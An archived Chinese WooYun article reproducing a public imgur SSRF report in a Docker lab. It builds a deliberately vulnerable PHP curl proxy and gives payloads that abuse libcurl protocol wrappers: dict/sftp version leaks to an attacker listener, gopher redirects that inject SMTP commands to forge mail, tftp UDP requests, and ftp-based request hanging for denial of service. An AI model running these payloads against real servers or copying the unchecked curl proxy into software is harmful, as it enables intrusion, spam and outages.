
        <html>
			<head>
			     <title>SSRF libcurl protocol wrappers利用分析 - 小饼仔</title>
				 <meta http-equiv="content-type" content="text/html; charset=UTF-8">
			</head>
			<body>
				<h1>原文地址:<a href="http://drops.wooyun.org/papers/13948">http://drops.wooyun.org/papers/13948</a></h1>
				
      <p>
        <h2>0x00 概述</h2>

<hr />

<p>前几天在<a href="https://hackerone.com">hackerone</a>上看到一个<a href="http://imgur.com/">imgur</a>的<a href="https://hackerone.com/reports/115748">SSRF漏洞</a>，url为：<code>https://imgur.com/vidgif/url?url=xxx</code>，参数url没有做限制，可以访问内网地址。请求过程中使用到了liburl库，并且liburl配置不当，可以让攻击者使用除http(s)之外的多个libcurl protocol wrappers，比如<code>ftp://xxx.com/file</code>会让服务器发起ftp请求。</p>

<p>漏洞提交者<a href="https://hackerone.com/aesteral">aesteral</a>在报告中给出了几种协议的利用方法，查了下drops之前SSRF文章，好像没有专门介绍protocol wrappers，刚好看到了这个漏洞报告，就尝试着搭建环境复现下，记录下过程。</p>

<!--more-->

<h2>0x01 环境搭建</h2>

<hr />

<p>首先要搭建php + nginx环境，来模拟SSRF server端漏洞环境，这里选择用<a href="http://www.docker.com/">docker</a>来搭建，系统为Ubuntu14.04，docker安装可以参考<a href="https://docs.docker.com/linux/step_one/">文档</a>，ubuntu的apt源建议换成<a href="http://wiki.ubuntu.org.cn/Template:14.04source">国内的</a>，安装起来比较快。</p>

<p>安装完后，拉取docker hub上安装好php + nginx环境的image，仓库在国外，速度可能略慢</p>

<p><code>docker  pull richarvey/nginx-php-fpm</code></p>

<p>创建代码目录<code>/app</code></p>

<p>启动container(映射端口、挂载volume):</p>

<p><code>sudo docker run --name nginx -p 8084:80 -v /app:/usr/share/nginx/html -d richarvey/nginx-php-fpm</code></p>

<p>在/app目录下创建ssrf.php，代码中使用curl请求参数url对应的资源，返回给客户端，用于模拟SSRF的功能</p>

<pre><code>&lt;?php
        $url = $_GET['url'];
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HEADER, false);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.1 Safari/537.11');
        // 允许302跳转
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        $res = curl_exec($ch);
        // 设置content-type
        header('Content-Type: image/png');
        curl_close($ch) ;
        //返回响应
        echo $res;
?&gt;
</code></pre>

<p>我们测试加载图片，访问</p>

<p><code>http://victim:8084/ssrf.php?url=http://download.easyicon.net/png/1199986/96/</code></p>

<p><a href="http://drops.wooyun.org/wp-content/uploads/2016/03/75B3CE55-D9FA-4F05-9B81-AE3385E9676A.jpg"><img src="http://static.wooyun.org//drops/20160318/2016031808183819379.jpg" alt="" title="75B3CE55-D9FA-4F05-9B81-AE3385E9676A" class="alignnone size-full wp-image-13957" /></a></p>

<p>测试SSRF，在另一台机器上执行<code>nc -l -v 11111</code>，监听11111端口</p>

<p>访问 <code>http://victim:8084/ssrf.php?url=http://attacker:11111/</code></p>

<p><a href="http://drops.wooyun.org/wp-content/uploads/2016/03/D2479565-6067-49CF-B12B-E4EF2D77BCA3.jpg"><img src="http://static.wooyun.org//drops/20160318/2016031808183850391.jpg" alt="" title="D2479565-6067-49CF-B12B-E4EF2D77BCA3" class="alignnone size-full wp-image-13956" /></a></p>

<h2>0x02 可利用的协议</h2>

<hr />

<p><strong>报告里给出的可利用的协议有</strong></p>

<ul>
<li>SSH (scp://, sftp://)</li>
<li>POP3</li>
<li>IMAP</li>
<li>SMTP</li>
<li>FTP</li>
<li>DICT</li>
<li>GOPHER</li>
<li>TFTP</li>
</ul>

<p>我们来看一下Ubuntu14.04下默认的libcurl支持哪些协议</p>

<p>因为docker ubuntu image没有curl，所以安装 <code>apt-get install -y curl</code></p>

<p>然后执行<code>curl -V</code></p>

<pre><code><a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="04766b6b70447166716a7071">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>:/app# curl -V
curl 7.35.0 (x86_64-pc-linux-gnu) libcurl/7.35.0 OpenSSL/1.0.1f zlib/1.2.8 libidn/1.28 librtmp/2.3
Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp smtp smtps telnet tftp
Features: AsynchDNS GSS-Negotiate IDN IPv6 Largefile NTLM NTLM_WB SSL libz TLS-SRP
</code></pre>

<p>可以看到</p>

<pre><code>Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp smtp smtps telnet tftp
</code></pre>

<p>中，并没有SSH(scp://, sftp://)，所以默认是不支持的SSH协议的，需要自己下载源码重现编译安装，可以参考<a href="http://wiki.hetzner.de/index.php/Curl_fuer_sftp/en">这篇文章</a>。</p>

<h2>0x03 利用方式</h2>

<hr />

<p><strong>简单的利用，信息泄露</strong></p>

<p>利用SSH和DICT协议获取软件版本信息</p>

<p>sftp(需要curl编译安装libssh库)访问:<code>http://victim:8084/ssrf.php?url=sftp://attacker:11111/</code></p>

<p><a href="http://drops.wooyun.org/wp-content/uploads/2016/03/F90A5E0B-F339-40F7-A8DC-140FBCF3505C.jpg"><img src="http://static.wooyun.org//drops/20160318/2016031808183951780.jpg" alt="" title="F90A5E0B-F339-40F7-A8DC-140FBCF3505C" class="alignnone size-full wp-image-13954" /></a></p>

<p>DICT访问 <code>http://victim:8084/ssrf.php?url=dict://attacker:11111/</code> <a href="http://drops.wooyun.org/wp-content/uploads/2016/03/F83A4EAE-C755-46AF-8BAC-6384B740859A.jpg"><img src="http://static.wooyun.org//drops/20160318/2016031808183981394.jpg" alt="" title="F83A4EAE-C755-46AF-8BAC-6384B740859A" class="alignnone size-full wp-image-13953" /></a></p>

<p>可以看到服务使用的软件版本，<code>libssh2 1.4.3</code> 和 <code>libcurl 7.35.0</code>。查看下CVE</p>

<p><code>libssh2 1.4.3</code>可能受 CVE-2015-1782 影响</p>

<p>报告中imgur服务器中的软件版本是<code>libcurl 7.40.0</code> 可能受 CVE-2015-3144 和 CVE-2015-3237影响，我们的版本为<code>libcurl 7.35.0</code>，不受影响</p>

<hr />

<p><strong>利用GOPHER协议伪造发送邮件</strong></p>

<p>先介绍下GOPHER协议，来自百度知道～</p>

<p><code>Gopher协议是一种互联网没有发展起来之前的一种从远程服务器上获取数据的协议。Gopher协议目前已经很少使用，它几乎已经完全被HTTP协议取代了。</code></p>

<p>因为GOPHER协议支持newlines，所以可以用来发起类似TELNET chat-session的请求，比如SMTP，Redis server等。漏洞报告中提到imgur过滤了url参数中的newlines，但imgur server支持302跳转，所以可以构造一个302跳转的页面，结合GOPHER协议来完成攻击。</p>

<p>先测试一下GOPHER协议的效果，构造302跳转页面 gopher.php</p>

<pre><code>&lt;?php
header('Location: gopher://attacker:11111/_HI%0AMultiline%0Atest');
?&gt;
</code></pre>

<p>访问 <code>http://victim:8084/ssrf.php?url=http://attacker/gopher.php</code></p>

<p>attacker端：</p>

<p><a href="http://drops.wooyun.org/wp-content/uploads/2016/03/9BF07BD2-D848-4609-9C57-0D08087BA647.jpg"><img src="http://static.wooyun.org//drops/20160318/2016031808183953884.jpg" alt="" title="9BF07BD2-D848-4609-9C57-0D08087BA647" class="alignnone size-full wp-image-13952" /></a></p>

<p>接下来是发送邮件，本来想用国内的邮箱试试的，然而都加了登陆验证来防止垃圾邮件。</p>

<p>报告中给了一个 http://test.smtp.org/ 的网站，可以用来测试，这里修改了收件人，不然不会发送成功</p>

<p>smtp.php:</p>

<pre><code>&lt;?php
        $commands = array(
                'HELO test.org',
                'MAIL FROM: &lt;<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="95fcf8f2e0e7d5fcf8f2e0e7bbf6faf8">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>&gt;',
                'RCPT TO: <a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="c2b2adb1b6afa3b1b6a7b082b6a7b1b6ecb1afb6b2ecadb0a5">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>',
                'DATA',
                'Test mail',
                '.'
        );

        $payload = implode('%0A', $commands);

        header('Location: gopher://smtp.163.com:25/_'.$payload);
?&gt;
</code></pre>

<p>访问<code>http://victim:8084/ssrf.php?url=http://attacker:8084/smtp.php</code></p>

<p>可以到 http://test.smtp.org/log 下查看日志，我的VPS连接不了 http://test.smtp.org的25端口，换来一台直接用TELNET模拟</p>

<pre><code><a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="cdb8afb8a3b9b88db8afb8a3b9b8">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>:~$ telnet test.smtp.org 25
Trying 52.2.168.164...
Connected to test.smtp.org.
Escape character is '^]'.
220 test.smtp.org ESMTP Sendmail 8.16.0.16 ready at Fri, 18 Mar 2016 06:47:04 GMT; see http://test.smtp.org/
HELO test.org
250 test.smtp.org Hello [xx.xx.xx.xx], pleased to meet you
MAIL FROM: &lt;<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="3f5652584a4d7f5652584a4d115c5052">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>&gt;
250 2.1.0 &lt;<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="660f0b011314260f0b0113144805090b">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>&gt;... Sender ok
RCPT TO: <a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="67170814130a0614130215271302141349140a131749081500">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>
250 2.1.5 <a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="c7b7a8b4b3aaa6b4b3a2b587b3a2b4b3e9b4aab3b7e9a8b5a0e9">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>.. Recipient ok
DATA
354 Enter mail, end with "." on a line by itself
Test mail
.
250 2.0.0 u2I6l4QU017644 Message accepted for delivery
</code></pre>

<p>日志</p>

<p><a href="http://drops.wooyun.org/wp-content/uploads/2016/03/4303DD91-97BC-41C2-8037-D9C3CB6384D5.jpg"><img src="http://static.wooyun.org//drops/20160318/2016031808184049375.jpg" alt="" title="4303DD91-97BC-41C2-8037-D9C3CB6384D5" class="alignnone size-full wp-image-13951" /></a></p>

<hr />

<p><strong>使用TFTP协议来发送UDP包</strong></p>

<p>服务端监听UDP 11111端口 <code>nc -v -u -l 11111</code></p>

<p>访问<code>http://Victim:8084/ssrf.php?url=tftp://Attacker:11111/TEST</code></p>

<p>Attacker: <a href="http://drops.wooyun.org/wp-content/uploads/2016/03/5E2AC53D-B859-41A3-8093-2ADD2674EB0A.jpg"><img src="http://static.wooyun.org//drops/20160318/2016031808184044868.jpg" alt="" title="5E2AC53D-B859-41A3-8093-2ADD2674EB0A" class="alignnone size-full wp-image-13950" /></a></p>

<p>可以用来向UDP服务发起请求，比如Memcache 和 REDIS-UDP</p>

<hr />

<p><strong>Denial of service</strong></p>

<p>如果请求的超时时间较长，攻击者可以iptables的 TARPIT 来block请求，此外CURL的 FTP:// 永远不会超时</p>

<p>Attacker 监听 <code>nc -v -l 11111</code></p>

<p>访问 <code>http://Victim:8084/ssrf.php?url=ftp://Attacker:11111/TEST</code></p>

<p>nginx环境下默认超时时间为1分钟 <a href="http://drops.wooyun.org/wp-content/uploads/2016/03/C5A25D8D-1599-4E8B-83DB-EBCC7FB2051C.jpg"><img src="http://static.wooyun.org//drops/20160318/2016031808184110257.jpg" alt="" title="C5A25D8D-1599-4E8B-83DB-EBCC7FB2051C" class="alignnone size-full wp-image-13949" /></a></p>

<p>攻击者可以发起大量请求来耗尽服务器的资源</p>

<h2>0x04 结论</h2>

<hr />

<p>撸站遇到SSRF时，除了可以使用http(s)之外，还有其它的一些协议，这里进行了简单的分析，希望对大家有一些帮助～</p>      </p>
    
			</body>
		</html>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    